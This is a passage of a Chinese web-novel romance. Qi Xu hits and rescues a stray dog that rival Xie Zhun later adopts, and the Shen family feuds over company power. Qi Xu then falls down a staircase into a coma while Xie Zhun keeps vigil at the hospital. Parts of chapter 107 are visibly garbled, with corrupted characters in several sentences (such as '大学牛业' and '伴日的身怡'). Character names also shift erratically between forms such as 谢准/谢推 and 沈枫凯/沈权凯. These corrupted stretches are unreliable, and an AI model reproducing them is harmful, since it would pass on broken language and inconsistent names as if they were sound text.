沈泽予没进沈氏,而是开了一家工作室创业,戚栩在曾云发出来的朋友圈得知这个消息。戚栩懒得管这些事,低头继续看文件,半晌后他一顿,似乎察觉出不对。他问:“沈泽予的工作室什么时候开业?” 李恺兴说:“26号,前两日。” 会议是在26号结束,那天S市刮台风,机场航班全都停飞,他订的机票都被退了。哪怕谢准有私人飞机,在16级台风下也没这个胆子起飞。 戚栩脸上露出嘲弄的表情,谣言从哪里传出来不言而喻,传到沈氏想让谁知道也一清二楚。沈泽予这是认为谢准签署合同是因为他?戚栩都不知道自己什么时候成为他的假想敌。所以关他什么事,他并不打算走进这趟浑水中。 但有人要他参与其中,沈枫凯让他出席谢老的生日宴会,如当年勒令他参加谢准19岁聚会一般。只是这一次沈枫凯用了谢老是沈老爷子生前挚友的理由,他作为爷爷的孙子理应出席。 沈枫凯知道沈老爷子是他的软肋,当然也是唯一的弱点。这几年的相处让沈枫凯知道了他这个亲弟弟亲情淡薄,即使对亲生父母和他这个大哥都处于漠视的态度。 他不知如果随着沈老爷子离世的时间越久,沈家和戚栩还有什么关联,难道只剩下利益吗?更不知沈家和戚栩的关系为什么走到这个地步,明明是血缘关系的一家人。 在沈老爷子在世时,在戚栩被发配到沈氏底层那年,他还不忙,所以有时间陪着他出席过谢老爷子的寿宴,之后戚栩越发忙,有时候周末回老宅的行程都爽约。 老人家的寿礼戚栩提前和老秦说了,80岁大寿,对方喜欢字画,金额不限,让他帮忙收一幅字画。老秦当即就应下,手握古玩一条街,坐稳古玩直播间no.1,这小小需求对他来说不在话下。 谢老生日寿宴那天,戚栩没有和沈家人同行,而是自己开车前去。去老宅这条路在十年间他走过无数遍,从一开始的不愿意,他对沈老爷子也不全是接受,他几乎对沈家人一视同仁,认为他们都是一伙的。 直到后来真心换真心,他意识到沈老爷子和沈家人并不一样,从心底里接受这个爷爷已经是四年后的事,他大学毕业。大学四年在他记忆力并没有什么值得记起的事情,几乎没有任何社交,被人讨论着。 对了,是有一件事值得他去想的,当年他在被论坛铺天盖地的造谣,一夜之间论坛上的帖子被删,至今他也没查到是谁帮的他。曾经沈老爷子说他的心对谁都严防死守,不会轻易相信一个人,哪怕是亲人,却从来没有说他冷血,只是说以后不知道谁能走进他的心。走进他的心,确实不是一件容易的事。 距离寿宴开始还有半个小时,行驶在一段没什么车辆的道路上,畅通无阻,经过十字路口时,绿灯,戚栩踩油门,前方突然窜出一只不明物体。戚栩下意识地踩下刹车,砰地一声,还是猝不及防地撞上去了。 戚栩惊魂未定,第一时间下车查看,不明物体是一只脏兮兮的狗,倒在地上可怜地嚎叫着。戚栩担心地眉头紧皱,他没有莽然上前,而是脱下身上的外套蒙住了小狗的脑袋,小心翼翼将它抱到车上。 期间小狗还是拼命地挣扎,好在蒙着脑袋没有咬人。浑身颤抖着,害怕地哼唧。戚栩立即导航附近的医院,看了一眼时间要20分钟。 后排的小狗发出哀鸣警报声,戚栩不说二话前往宠物医院。抵达宠物医院,把小狗交给宠物医生,再转述刚刚发生的事,初步断定断脚了,内脏是否有伤要照片子。 而戚栩也一身狼狈,衣服上多了血迹和几只狗爪印。 戚栩给他的人打了个电话,让他来宠物医院把谢老的礼物送过去。 人到不了,礼物理应送到手上。 谢老寿宴已经开始了,沈枫凯不见戚栩的身影,而沈卓海的脸色也不佳。“长辈的寿宴也迟到,教养喂进狗肚子里去了。” 沈泽予安抚着他:“二哥可能有事耽误了,他当上了副总裁之后很忙,我听朋友说,到公司见他比见董事长的程序还要繁琐。”他以玩笑的口吻说出这番话,说者有心,听者也有心,沈氏董事长是沈卓海。 沈枫凯开口解释:“见公司高层的确需要预约,正常流程而已。” 另一边,徐亦辰站在谢准身边扫视全场,没有发现戚栩的身影。“沈家人都到了,沈老爷子和你家老爷子这么要好,他应该也会到场吧,这可是你爷爷80大寿。” 谢准神情严肃紧盯着门口,不放过进来的任何一个人。 徐亦辰见他这模样怂恿着:“给他打个电话?” 谢准却说:“没有私人联系方式。” 徐亦辰:“…他有些不可置信:“你回来这么久了,也和他签了合同,连合作方的联系方式都没有吗?” 谢准说:“有事工作群里交流,重要文件发邮箱,我曾经添加过他的好友,他没通过。”徐亦辰发表见解:“哼,肯定是你这个丧尽天良的合作方把他给吓到了。” 谢准觉得戚栩没同意他的好友事是因为没必要,如那颗物归原主的蓝宝石一样,除了公事,戚栩并不想在私事上和他有所联系。 徐亦辰再次为兄弟两肋插刀,带着谢准找沈家人去了。他开门见山对沈枫凯说:“沈大哥,怎么不见戚栩,我有事找他。” 沈枫凯这个时候才想起给戚栩打电话,铃声响了好一会儿,沈枫凯都以为对方不会接电话准备挂断。在挂断的前一秒,电话接通了。 沈枫凯严肃地开口:“你在哪?知不知道寿宴已经开始了。” 戚栩不知道电话里说了什么,只见沈枫凯的脸上沉了下去:“什么叫不来了?说清楚发生了什么事。” 严肃教训地语气让谢准蹙眉,不过只持续一秒,很快就恢复平淡。 沈枫凯余光扫到谢准的表情,眼里闪过不明的情绪。戚栩不太想和沈枫凯纠缠下去,直接说:“我在宠物医院,就这样,挂了。” 谁知沈枫凯像是聋了一样,重复:“你在医院?有没有受伤。” 谢准听到沈枫凯的话浑身都散发着紧张的气息,表情冷寂了下来,恨不得抢过对方的电话。 戚栩骂了沈枫凯两句:“有病吧你,耳聋去看医生,礼物我让人送过去了。”沈枫凯扯了扯嘴角:“人没事,在宠物医院,那就好…….”戚栩没等沈枫凯说完就挂了电话,这人真有病。 沈枫凯收起电话,带着歉意地和谢准说:“不好意思,戚栩他有事可能无法到场,请见谅。”明明找戚栩的人是徐亦辰,沈枫凯却和谢准解释。 谢准情绪平静地回:“没关系。”说着,谢家佣人过来请示谢准寿宴流程,谢淮说了一声自便后跟着佣人离开。 徐亦辰非常尽职地继续问沈枫凯发生了什么事,毕竟他一直都是吊儿郎当的形象,追问下去也无伤大雅。沈枫凯的眼神从谢准的身影移开,说道:“来的时候不小心撞了流浪狗,他有爱心…… 谢准拿出手机点进工作群找到戚栩的VX,再次给他发送好友申请。不知结果如何,只能静静地等待回应。希望上天眷顾,如他所想。 106、前世六 车祸受害狗的手术持续了将近一个半小时,期间戚栩还签了一份病危通知书。 拿到病危通知书的那一秒戚栩顿住了,心情复杂难受,明明刚网还在怀里嚎叫的小生命如今却被医生下达病危通知。 戚栩快速地签上自己的名字,一手好字变得不能看,能看得出来他糟糕的心情。 好在这个小家伙被上天眷顾,经医生抢救狗命从狗阎王手里抢回来。 戚栩作为家属以及当事人到医生办公室了解狗患的具体情况。骨折,内脏大出血,需要住院,戚栩一次性交了一个星期的住院费用。 小狗麻醉还没有过去,吊着针水躺在笼子里,耷拉着眼皮,听到脚步声有气无力地动了动眼珠子看来人,不知道是不是察觉到戚栩是抱它的人,竟然摇起了尾巴。 戚栩蹲下抬手用指腹蹭了蹭它的狗鼻子:“好好养伤,过几天来看你。”小狗哼唧了一声,宛如应下戚栩的话。 折腾过后回到家已经八点,戚栩身上的衣服不能看,点了个外卖之后到浴室洗澡。没能出席谢老的生日宴,不出意外戚栩的电话被打爆,沈卓海的,曾云的,甚至还有沈泽予,戚栩并没有回复。 吃晚饭的时候才有空看手机,戚栩发现vx里多了一个新的朋友添加,他点进去一看,是谢准。 前几天这人也加过他的私人微信,但他没通过,没这个必要。 公事在工作群里谈论,私事的话,戚栩并不觉得他们两个有什么私事可谈论。这一次一样的结果,戚栩并没有通过他的好友。 戚栩点开了工作群里遗漏的消息——回复,连饭都没吃几口就进去工作状态。 助理是第一个察觉戚栩这几天准时下班的人,不是说不能准时下班,但这发生在戚栩身上就很奇怪。 谁不知道戚栩是一个就算没有工作也要在办公室停留一会儿才下班的老板。他们团队是这样,员工可以准时下班,但老板就不一定,拼命三郎。 而且助理还发现某天中午戚栩从外面回来上班,他身上多了一股消毒水的味道。 助理同李恺兴说了这件事,后者也觉得不对,两人一拍即合直接询问老板。他们爱老板心切,以为老板身体出了什么问题,瞒着他们一个人去看医生。 在戚栩收拾东西下班时,李恺兴推门而进:“老板,今晚这么早下班,有没有兴趣和我们一起去聚餐。”戚栩手臂上挂着外套往门口走去:“我就不去了,晚上的消费我报销,你们玩得开心。” 李恺兴像尊大佛挡在门口,身后还跟着个踩着高跟鞋的助理。“老板,你是不是有事瞒着我。” 戚栩看他:“你指的什么事?”李恺兴见他这么坦诚,直接问:“这段时间你常去医院?”戚栩点了点头:“是。” 李恺兴没想到他应得这么快,那就是身体出现大问题了瞒都瞒不住,事关重大,他连忙给病人信心:“老板,你不会有事的,你还这么年轻。”戚栩:“.…“有事的不是人。” 李恺兴和助理听懵了,有事的不是人,还能是谁。最后戚栩迫于无奈带着两人到宠物医院,看望受伤的小狗。 戚栩和两人说了事情的经过,他们一听恍然大悟,有事的确实不是人。 小狗恢复得很好,除了还不能走动之外,精神和食欲一切正常。宠物医院的医生帮小狗清理过,身上脏兮兮的毛发变得干净多了,也能看出原本的样子。据猜测是柯基和金毛的串串,不到一岁,流浪了有一段时间,身上都是虫子。 李恺兴越听越觉得心酸,默默地到医院前台给小狗付了接下来的住院费。回到病房之后说道:“来探望也没带什么礼物,给你付住院费吧。” 助理在医院给小狗买了一袋子的罐头进行加餐,随后她问:“老板,你打算养小乖吗?” 小狗的临时名字叫小乖,因为它实在是太乖了,就算身上疼也默默忍受着,连医生都在夸,打针吃药的时候也乖乖配合。 戚栩垂眸看着笼子里朝他咧着嘴笑的小乖,心里闪过一丝柔软,他这个人不太适合养宠物,特别是狗狗这种高需求的宠物。“我养不了,等它养好伤让医院发个领养告示吧,给它找个好人家,你们有领养的意向?” 助理其实有领养的心,奈何家里已经有猫咪原住民,而且她的猫咪还非常害怕狗。她叹了一口气:“可惜我家猫不喜欢狗。” 李恺兴也无奈地说:“孤家寡人,经常出差,我目前这个生活状态也有心无力。” 从那天起,小乖领养成为了李恺兴心中的第二大事,第一大事是升职加薪。他问过了团队的人,相熟的朋友,没有一个人有领养的意愿,不是狗毛过敏就是家里已经有原住民。 也是,这个时代的年轻人想要养狗,在收入稳定的情况下,早就养了自己喜欢的宠物。身边的人没有意愿,那就朝别的圈子下手。 在一次和谢氏线上会议结束后,因为解决了问题气氛更是轻松,两方团队也是说着趣事,他无意之中说了这件事。戚栩当时还没有下线,听到李恺兴的话更是没着急挂断会议。 谢准的助理问:“是什么样的狗?我家女儿一直都想养宠物,我们以她年纪小的理由拒绝了,现在上一年级了,是时候考虑。“ 李恺兴说流浪狗,八九个月。一听狗有八九个月这么大他就婉拒了,有小孩的一般都想从小养大。 其他人也没有表现出领养的意思,就在戚栩想要挂断会议视频的时候,一把熟悉的声音传了过来。一般这道声音在会议上都是严肃并且纠正问题的时候才开口。“领养有什么要求吗?” 小乖领养事宜戚栩全权交给了李恺兴,他分身乏术也分不出多少精力在上面。 李恺兴听到谢准的声音,宛如看到了小乖以后享福的狗生:“没有什么特定的需求,收入稳定,有爱心,喜欢小动物,谢总你有收养的意向吗?” 谢淮不动声色地看了一眼屏幕右下角的小框,只见戚栩垂眸不关心此时的模样,实则紧抿着嘴竖着耳朵认真听,这是大学四年观察出来的结论。“家里有点空旷,想养只宠物。” 李恺兴忽然有点羡慕小乖,傍上了谢总这个主人,住大别墅,他都住不起别墅。不过他还是替小乖开心,就算谢总忙,家里肯定不缺人照顾。 “谢总,我加你私人联系方式,给你发一下小乖的视频和照片,如果真的有意向领养的话,我们再谈接下来的手续。”谢准应下,加了李恺兴的好友。 接下来的事戚栩没有再关注,一个星期后李恺兴告知他谢准领养了小乖,早上已经从医院接回了家。 其实宠物医院也发了视频给戚栩,毕竟他才是救助小乖真正的人。 视频里谢准亲自开着保时捷来接小狗,医生对着那辆保时捷拍了足足有几十秒,嘴里说着小乖去享受狗生,也让戚栩这个救助人看到领养者的经济实力。 只是让人无法忽视的是小乖惨无人寰的哀嚎声,被医生抱进保时捷好像要了它的狗命一样,爪子拼命地抵着门,挣扎着要下车。小乖变得不乖了,医生怎么威逼利诱都不行,小乖甚至还尿在保时捷里,好在有尿垫。 一旁的谢准看了一会儿后接手这只不乖,只见他不知道从哪里变出一根磨牙棒,低声哄了小乖几声。 谢准身上有魔力似的,小乖竟然叼着磨牙棒主动上了保时捷。 结局皆大欢喜。 戚栩看着这个视频不自觉地笑了起来,好一只贪吃小狗。一根磨牙棒就给拐走了。不可否认有了谢准这个主人,以后有吃不完的磨牙棒。 小乖有了新的主人,戚栩也彻底放下这件事,只是李恺兴时不时让他看小乖的视频。谢准非常负责地每个星期给李恺兴回馈小乖的情况,隔着一个人,戚栩也间接见证了小乖的成长。 戚栩和谢氏的合作进行异常顺利,除了有一次两方会面谈细节时,谈判时两方都不让利,这是很正常的事,都会为团队争取最大的利益。 最让戚栩气不打一处来,当场谢准一句话不说,硬生生拖了一个下午。结束时他的助理邀请他们吃午饭,戚栩毫不犹豫拒绝了,在谈判桌已经吃了一肚子气,吃饱了。过后李恺兴去谈,对方让步,戚栩更气了,那天连下午茶都没吃。 反观沈枫凯和谢氏的合作项目已经来到尾声,似乎又闹掰了。 这段时间沈枫凯正在筹备婚礼,工作的事让赵斯然看着,没想到就这么一会儿工夫就给他弄砸了。现在团队忙得焦头烂额,想尽一切办法挽救。 助理进来通报:“沈总,谢总那边不肯见面,说那么按照违约赔偿,那么就给出一个合理的挽救方案。” 沈枫凯眉头紧蹙,要是这件事彻底弄砸了,董事会那群老家伙收到风声肯定又要开批判大会,再让戚栩趁虚而入,他的这个总裁之不保。“以戚总的名义给谢总发邀请,约他今晚在酒店包厢见面。” 助理不明所以,但照做。 很快谢准那边给沈枫凯致电。 “沈总,以他人名义约我见面是什么意思?” 沈枫凯笑了笑:“阿淮,你回来这么久我这个做大哥的也没有为你举办接风宴,择日不如撞日就今晚吧,你想叫谁来就就叫谁来。”谢准说:“不用,就你我。” 不到一个小时,李恺兴不知道从哪里得到这份情报,迫不得已地向戚栩汇报。戚栩已经习惯了,内战变成情报战。 李恺兴见戚栩如此淡定,问:“这一次沈总又拿什么利益出来挽回,不会又是送人吧。”戚栩头也没抬:“你不是说他无欲无求,什么人让他有欲望。”李恺兴摇头:“不知道,但万一呢,瞎猫碰到死耗子。” 戚栩没当回事,这种没有任何依据的事他是不信的,而且沈枫凯和谢淮之间好像也不需要其他人,有沈泽予做中间人就足够。他只希望和谢准的这个项目合作顺顺利利地结束,不要再生事端。 107、前世七□谢淮一个人如约出席沈权凯的接风宴,沈权凯用戚栩的名义约他出来,能确定的是对方应该察觉到他对戚栩的感情。 沈权凯这个人能力不足,在沈家后辈中已经算得上中规中矩,如果不是戚栩和他斗起来,沈老爷子的人被沈权凯收揽,沈氏的发展不会这么快。 毕竟沈权物加比他大几岁,关于感情方面的确比他有经验,从那一通电话里看出端倪,不怪他没隐藏女好,可能开始他就没焊着藏在喜欢的人面前听到有关对方受伤的消息,不管真假都会控制不住。 在这一段暗恋的情感中,戚栩占据了他28岁人生中几乎一半的时光。成这个人比他想象中对自己更重要,谢准应该早一点意识到这一点。 回国的初次见面,庆功宴上的星光熠熠,在人群中他一眼就看到戚栩,这几年他不是没有见过戚栩,可并没有如此近距离的接触。离成越近,他的心跳得更快,像个愣头青一样不知所措,如那份初次的悸动一般,紧张又激动。 偌大的包厢只坐了沈枫凯一人,他见到谢准的到来,朝他温和地一笑,看着像笑面虎。谢准依旧是那一副波澜不惊的样子,单手解开外套纽扣,拉开椅子坐下。 沈权凯朝他递来菜单“不知你的口味,也没泽予这么了解你,我点了几样菜,你看看你喜欢吃什么。” 谢淮接过菜单放下,并不是没有听出他的言外之意:“沈大哥,你不需要用其他人来试探我,有话可以直说。” 也是,如果今晚是单纯的接风宴,就不会只有他们两个人在场,也注定不欢而散。 沈概知说“大学牛业之后圣予跟着你到M国采造,从他每欠回国低落的心情我早该到你价们两个之问的友谊并没有想象中的好,出于对弟弟的关心我调查过,泽子根本融不进你的圈子,所以他研究生毕业就回国了.融不进圈子是他说轻了,准确来说谢推圈子的级别已经不是沈泽予能达到,这两年他们除了上课见面在其余时间沈泽予都不知道谢推的行踪。 两人出国前谢老看在沈谢两家交情的份上让谢准多加照顾,实则刚开学的时候谢推只是让人看了一段时间,过后谢准已经投入学习中,对沈泽予的任何事视而不见。 谢反应平静“同学交情而已,难道我对每一个同学都要多加照顾?” 沈权凯扯了扯嘴角:“戚栩对你而言应该不是同学吧,只是我不明白你们两人接触不多,为什么就他对你特殊。”谢准说:“我没必要回答你这个问题。” 沈权凯倒也没有多大情绪起伏,反而以戚栩兄长的名义对他说:“他不是同性恋,也不会走上这条路,你的这份心思到此为止吧。”以退为进,沈枫凯的心思全在谢准能够和他达成共识,以戚栩交换这个项目的顺利进行。 大家都是沉浸商场多年,哪能听不懂这番话的言外之意。 沈枫凯以为自己掌控着沈家,也掌控着戚栩,实则如果戚想要抽身或者更近一步,沈权凯的地位将会落千丈,永不像现在风光。谢准嗤笑了一声:“据我所知,戚栩已经很少和沈家来往,你应该代表不了他,也不能代表他回绝我。” 沈老爷子在世时戚栩过年都不会回沈家,别说沈老爷子离世,戚栩和沈家的联系只剩下血缘关系。 戚栩和沈家的关系有目共睹,无论怎么缓解都毫无作用,他们把理由归根于在戚栩年少的时候没有教育好。沈枫凯说:“就算戚栩和沈家的关系不好,我是他兄长,家里还有父母,你说我们能不能到代表他。” 性丝毫不惧为JH的成功),反倒成胁上他“就算我们不以伴日的身怡在起,即使只是成为朋友,谢氏将会无成度结地帮地态权,沈大哥,那么你的总裁之位定定可危,当然,沈叔5叔8的董事长职位可能也会有变动。沈权凯的脸色瞬间沉了下来,谢准说的话并不是恐吓,如果集团争权的情况下有外力的加入,谢家比他未婚妻的家世还要强大,戚成得到谢家的帮忙,争权结局可想而知。 他该庆幸他这个弟弟情感冷漠,对外人有警惕性,也庆幸在两人年少的时候没有维持情谊,如今成熟了,以戚栩的性格必不会接受谢准的好意。 “那你把成相想得过于简单了,他要是想要牺牲自己去争权,早该应下父亲给他介绍的联姻对象,而且成栩至今还把你划分到择予的一伙里吧,你觉得他会接受你的好意,相信你?” 连沈权凯这个局外人都清楚了解他们两个的处境,谢准怎么会不知道。虽然成每次见到他会客客气气地说一声谢总,但眼神和下意识的反应明确地表示他们不熟,还藏着些许在年少时的敌意。 当然,谢准并没有将这些放在心里,回国不到三个月的时间,从私人生活下不了手,但可以从工作上悄无声息,戚栩抗拒他,那就不能来硬的,不然只能适得其反.他们还有时间。 这场名义上的接风宴不欢而散,连菜都还没有上,两人已经明牌,手上都有对方的弱点,谈判无法进行下去,只能另找时间再谈。只是两人这场谈判注定没有结局。 除去公事见面,在这段时间的私下见面机会只有沈卓海的生日宴。 上一次在谢老的生日宴上两人没有见面,也错失了坦诚的机会。这一次不能保证万无失,只希望无意外发生,能让他们心平气和地坐下来说话,不管说什么,得让戚相知道他并没有恶意。 谢推这一生关于和戚中相的共同记忆很少很少,目前为止那短短的四年大学时光浓缩成几天,目前回国的三个月,却不知还有接下来在病房里真正朝夕相处的两个星明。只有这些了。 在沈卓海生日宴会这天,谢推已经提前准备好礼物,参加长辈的生日而已,但不知道从早上睁眼那一刻,心里像压着块石头,说不清道不明的情绪,让人喘不上气。 家里的管家发现他的不对 第一时间叫了家庭医牛讨来 经检查并没右发现身体右什么问题实则,心情是无法用医木来拯救 谢准坐在沙发上听着老管家的唠叨,说什么不要仗着年轻就熬夜,透支身体。小乖被养得很好,变胖了,毛发变得金黄有光泽,似乎察觉到主人的情绪不佳,走了过来用脑袋蹭了蹭他的腿。 谢准弯腰揉了揉它的头,说:“下午带你去见救你的人。”一旁的管家听到后说:“小乖今天打最后一针疫苗。”谢准笑道:“没关系,以后还有机会。” 到了下午心里的焦躁似乎越演越烈,开会的时候频频走神,甚至差点没听出下属汇报数据的不对,这是前所未有的。谢准结束了会议,提前去往沈家,他心里装和戚栩见面的事,可能是有一层原因存在。 踏入沈家家门,心情瞬间诡异地平静了下来,颇有种暴风雨前夕的平静。在得知戚栩已经在沈家时,他失去了风度,越过佣人大步流星走进屋内。 谁曾想接下来发生的一幕让他这一辈子都无法遗忘,他的灵魂也在那一刻坠入深渊。 戚踩空,身体失去了平衡从楼梯滚落,脖子在不平的阶梯相撞下呈现一个无力的状态,脑袋上伤口开始慢慢渗出鲜血,不到一秒,以前溃之势滴落在一楼的地毯,染红了一片。 有一股恐惧紧紧住了谢准的心,血腥味钻进了他的鼻尖,垂着的手不可控地抖起来。悲哀的气息和不可置信笼罩着他。他意识到,好像要失去生命中最重要的人。 楼梯上忽然传来猛然提高的尖锐喊叫,谢准顿然醒神,脚步慌乱地冲上前喊了一声:“戚栩!”连带着那一声戚栩,戚栩彻底地闭上了眼睛。 沈家上下乱成一团,都被这一幕所惊吓,包括从书房里出来的沈家人。曾云失魂落魄地瘫坐在地上,沈卓海更是承受不住扶着墙,沈枫凯是最后一个走出来,看到楼下的戚栩没反应过来一脸木然。 沈家人没一个人主事,谢淮第一时间打电话叫救护车,并冷静地阐述病患的情况,可说话的声音很紧,握着手机的手不可控制地发抖。冷静沉着与他无关。 专业的医护人员来之前不能二次抓动伤者,在这段时间谢准一直喊着戚的名字,一次又一次,没有任何回应,去却没有停下来. 他想抬手碰一碰戚栩,指腹蹭过发梢又放了下来。 楼梯口传来啜泣声,谢准很想叫他们别哭,人还活着,哭什么哭,可现在他除了喊戚栩的名字,一句话都说不出。 救护车很快就到了,医护人员进来对戚栩进行简单的救治,推上救护车时谢准跟了上去,还有沈枫凯。谢推并不想让他上来,可他没有权利签署手术同意书,或者病危通知。 谢准沉默地看着戚被送进了抢救室,不久后沈卓海夫妇也赶到了医院,被人掺扶看,曾云哭得泣不成声。 抢救持续了很长的时间,期间医生多次出来让家属签字,沈权凯方寸大乱地握着医生的手,求他一定要救活里面的人,那是他的弟弟。医生挥下他的手:“我们会尽力的。”然后匆匆进了抢救室。 谢准麻木地靠墙站着,一个小时,两个小时,一动不动,他已然察觉不到累,脑中绷着一根弦,目不转睛地看着那一盏未熄灭的灯。沈泽予察觉到不对时谢家上下闻询赶来,连谢老都惊动了。 谢老爷子拄着拐杖出现在医院,看着自家孙子颓败的模样和正在抢救的戚栩感到后悔莫及。如果他们没有阻止,没有施压,一切是不是可以避免。生死有命是他们迟来的感悟,但太迟了。 秦缓思劝着谢准坐下休息一会儿,谢准整个人毫无知觉,也无法感知外界的一切事物。秦缓思红着眼眶握住他的手,丧失体温,冰冷的,如同握着一块冰。 谢准慢慢地低头看了一眼自己的手,指腹上不知什么时候染上了血,已经凝固变成深褐色。他摩挲着与戚栩唯一有关的东西,眼皮变得酸涩。 不知过了多久,抢救室灯光终于熄灭,戚被推出了抢救室送入重症病房。 108、前世八(完) 戚栩的情况目前来说不是很稳定,恢复生命特征,但脑部受到严重的损伤,无法自主的呼吸,人体处于连续性植物状态。当医生说出诊断时,整个问诊室的气氛压抑。 大家都以为活着从抢救室出来是上天保佑,可谁都没有想到上天又给他们开了一个巨大的玩笑。沈枫凯用沙哑的声音问醒来的几率是多少。 医生没有给出一个准确的说法,因为这是无法确定的事,只能安抚患者家属一切皆有可能。 同时也说明了有5%~10%出现心脏骤停的可能。 心脏骤停,这四个字重重地砸进每个人的心底。 谢准一声不发地站在问诊室门口,并没有和沈家人一样沮丧,他听完初步诊断对戚栩清醒过来非常有信心。戚栩还没有夺权成功,多年的心血不能在这一刻功亏于溃,谢准知道戚栩是一个做事有始有终的人,他坚信着他一定会醒过来。 18年前在M城的戚栩抱着期望凭借高考走出那座困住他的城,已经走到这里了,不会轻易地放弃。 是不是。 他在心里不断地问自己,也在问戚栩。 戚栩在ICU不需要看护,也不允许探望。 此时沈家人并不知道自己在书房的话被戚栩听到间接导致戚栩踩空,当然本质因素还有多日熬夜带来的心悸,心脏出现问题这一点医生也告诉了家属。 他们一直都知道戚栩体虚,这是早产带下来的毛病,老爷子帮着调理过一段时间,戚栩工作忙起来之后就没了后续。他们忽然想起来,这些事本该他们当父母做的,而不是交给孩子的爷爷。 沈家人动用了多方人脉和医疗资源为戚栩看诊,也有谢家和秦家的人脉,谢淮几乎竭尽所有,跪在了秦老爷子的面前任由打骂。 沈氏董事长五十五岁生日宴会无故取消,受邀前来的宾客都请了回去。 原本沈家上下封锁了所有的消息,但没有不透风的墙,沈氏副总裁发生意外生死攸关,这个消息一传出去各路记者倾巢而出。 更有人传出戚栩受伤是因为沈家内斗输了的结果,种种阴谋论在媒体口中大放厥词。由此沈氏全乱了,对家趁虚而入,沈氏再次发生动荡。 在一次记者潜入医院打探消息,被保镖人赃并获后,谢准瞒着沈家人将戚栩转到其他医院。显而易见,戚栩入院的消息是被沈家旁支透露出去,这一群人怨恨戚栩把他们从沈氏清出去。沈氏一乱他们就有机可乘,所以他们恨不得天下大乱。 沈家得知这件事震惊不已,纷纷讨伐谢准没有权利这样做。 沈权凯更是上前狠狠地拽着谢准的领子:“你以为你是谁?戚栩身上流着沈家的血液,他是我们沈家人,你根本没有权插手我们的家事。” 老高立即阻止沈枫凯进一步对谢准的伤害,挡在了谢准身前。 沈卓海和曾云根本不知道谢准这样做的目的,不了解内情的情况下希望他把戚栩的位置告诉他们,不要耽误了治疗。谢准只有一句话:“我比你们更想他醒过来。” 沈家不可能把戚栩交给谢淮,但又不想把关系弄得这么僵,至此还为自己留后路。他们找谢老主持公道,可谢老却说戚栩需要静养,你们先处理好手上的事端,戚栩是你们家老爷子的孙子,以我和老沈的情谊,照看着也情有可原,你们不必担忧。 事已至此,沈家只好先解决手头上的事。戚栩昏迷,手下的团队群龙无首,沈枫凯更是暂时接手李恺兴等人。 李铠兴虽然是情报高手,但外界媒体都无法得知戚栩的位置,他一个普通人怎么会知道戚栩的情况。只是沈氏最近不太平,股权也发生了变动,有些人的小心思藏不住了,沈泽予正式进入沈氏。 这个时候李恺兴知道这一切都是沈家允许的,别无他法他只能寻求谢准的帮忙,其实也不带希望,因为谢淮并没有理由帮戚栩,只能放手一搏。 如今的谢准两耳不闻窗外事,戚栩已经转到单人病房,他每一天都在病房里,没有陪护,他一人照顾戚栩。医生说可以在病人耳边说话,唤醒他的求生意识。 谢准每天都在戚栩耳边说公事,因为他知道戚栩可能不想知道他的私事,也因为他们两人之间好像没有什么愉快的回忆。不过有时候谢准说着说着都会无意识说起当年的事。 “是我提议沈枫凯带你来参加我的19岁生日聚会,因为我想见你,我发现除了在学校能见到你就不知道有什么地方可以见你,你不喜欢我去沈家,那段时间我减少出现在沈家的次数。”“我知道你喜欢吃酸甜口味,给你拿蛋糕的时候发现你已经离开了。” 谢准低着脑袋,这一次没有犹豫地握住了戚栩的手。 “还有你大二那学期丢的学生卡,被我捡到了,但我没有还给你,学生卡上的照片我没有见过,所以我偷偷藏起来了。” 说着说着他笑了笑,把戚栩苍白的手放在脸上:“抱歉,没有时间整理仪表,是不是有点扎手,你现在肯定在心里骂我,我听不到,醒来骂我吧。” 病床上的戚栩戴着呼吸罩,浑身没有血色,不到一个星期肉眼可见地消瘦下去,一动不动只有边上的心电监护仪的跳动证明这个人还活着。 谢淮发现说这些事并没有任何效果,在某一天他说起合同的事,绝不尽可能让利,谢氏将会得到大部分的利益。 可能被让利这两个字刺激了,戚栩的手指竟然动了动,谢准见状立即按下按钮呼叫医生。但经过医生的检查发现并没有清醒的迹象,动手指可能是神经的问题。 谢准看到了希望,每天都在戚栩耳边说违约赔钱,甚至恶劣地说抢光他家的所有宝石。当然最后补充会给你买世界上最漂亮的宝石。 但从那天起,戚栩的手指就再也没有动过。 护士每次进来换药出去后都于心不忍,关上门在走廊重重地叹了一口气。病人这么年轻,人生才刚刚开始。 谢准从来没有在戚栩面前叹过气,肩背永远都是挺直的,说话的语气没有带一丝沮丧。他也会在病房里插上鲜花,让病房充满活力。日复一日。让他也假装充满活力。 直到李恺兴一个电话打到他这里来。 李恺兴并没有说废话,直接进入主题:“谢总,团队的项目是戚总的心血,我希望你看在和他共同主事过一个项目的份上,帮他护着这份心血。”沈泽予手握沈氏股份,名正言顺地进入沈氏。 谢淮不会让戚栩的心血拱手相让,他插手到沈氏变动中,查到了沈泽予手握股份竟然是在沈卓海生日那天。再深入调查就要惊动沈家人,谢准毫无顾忌拿到戚栩坠落楼梯当日进入沈家的时间线,质问沈枫凯当天是不是在书房谈论股份转让的事。 沈枫凯并没有意识到事情的严重性,承认了给沈泽予转让股份的事。最后他才知道戚栩是听到他们谈论的话题才匆匆离开,戚栩跌落楼梯有他们一家人的原因,他们是背后推手。 谢准把沈卓宏从国外请回来主持大局,并支持他同沈卓海争权。有了谢准的加入,沈氏的纷争越来越来庞大,牵扯过多。期间谢准并没有离开过病房一步,当着一个不出面的幕后指使人。 戚栩的情况越发稳定,其实昏迷的时间越久证明着清醒的几率降低。 某天晚上,这一层的陪护人员在热水区讨论着有一位昏迷一个多月的病人家属到寺庙祈福,第二天那个病人的情况竟然慢慢好起来。对方答话:“碰巧而已,如果每个人都去祈福,世界上就没有病痛了。”“死马当活马医,给自己个念想。” 在无尽的黑暗里,走廊里出现一个人,突然地插入这个话题:“请问,那个寺庙在哪里?”所有的护工都被吓了一跳,手上的杯子掉落地上,发出砰砰乓兵的声音。空旷的走廊传来回音。 有人认出了谢准,是走廊尽头那位年轻病人的家属。 护工看出了他的意图,说了地址后说道:“烧香拜佛讲求一个安慰,心诚则灵,但也不能把所有希望寄托于此。” 凌晨,他带着从小舅那里拿来的手串出发那间寺庙,天还没亮就达到寺庙,当一个上门祈福的人。 寺庙的主持和他说,等到天亮再祈福。 谢准说:“我的时间不多了,白天的时间要留给重要的人。” 结束祈福后,谢准带着开过光的手串往返医院,太阳刚升起,是充满曙光的一天。 谢准推开病房的门,看到病床上的人,心一下子就安稳了,嘴角的笑意还没有下去,心电监护仪发出了刺耳的声音。 他的情绪没有反应过来但手已经下意识地按下呼叫按钮。医生第一时间赶到进行抢救。 